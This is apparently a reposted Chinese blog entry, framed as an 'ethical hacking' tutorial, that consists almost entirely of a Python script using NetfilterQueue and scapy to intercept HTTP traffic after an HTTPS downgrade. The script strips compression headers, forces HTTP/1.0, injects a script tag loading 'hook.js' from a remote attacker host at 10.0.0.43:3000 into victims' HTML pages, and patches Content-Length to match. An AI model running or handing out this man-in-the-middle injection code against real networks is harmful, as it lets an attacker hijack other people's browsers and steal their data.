Python Ethical Hacking - Bypass HTTPS(2)

梦里梦外; 2023-06-02 07:57 8阅读 0赞

Injecting Code in HTTPS Pages：

#!/usr/bin/env python
    import re
    
    from netfilterqueue import NetfilterQueue
    from scapy.layers.inet import TCP, IP
    from scapy.packet import Raw
    
    
    def set_load(packet, load):
        packet[Raw].load = load
        del packet[IP].len
        del packet[IP].chksum
        del packet[TCP].chksum
        return packet
    
    
    def process_packet(packet):
        scapy_packet = IP(packet.get_payload())
        if scapy_packet.haslayer(Raw) and scapy_packet.haslayer(TCP):
            load = scapy_packet[Raw].load
            if scapy_packet[TCP].dport == 10000:
                print("[+] Request")
                print(scapy_packet.show())
                load = re.sub(b"Accept-Encoding:.*?\\r\\n", b"", load)
                load = load.replace("HTTP/1.1", "HTTP/1.0")
            elif scapy_packet[TCP].sport == 10000:
                print("[+] Response")
                injection_code = b'<script src="http://10.0.0.43:3000/hook.js"></script>'
                load = load.replace(b"</body>", injection_code + b"</body>")
                content_length_search = re.search(b"(?:Content-Length:\s)(\d*)", load)
                if content_length_search and b"text/html" in load:
                    print(content_length_search)
                    content_length = content_length_search.group(1)
                    new_content_length = int(content_length) + len(injection_code)
                    load = load.replace(content_length, str(new_content_length).encode())
    
            if load != scapy_packet[Raw].load:
                print("Payload")
                new_packet = set_load(scapy_packet, load)
                print(str(new_packet))
                packet.set_payload(str(new_packet).encode())
    
        packet.accept()
    
    
    queue = NetfilterQueue()
    queue.bind(0, process_packet)
    try:
        queue.run()
    except KeyboardInterrupt:
        print('')

转载于:https://www.cnblogs.com/keepmoving1113/p/11581893.html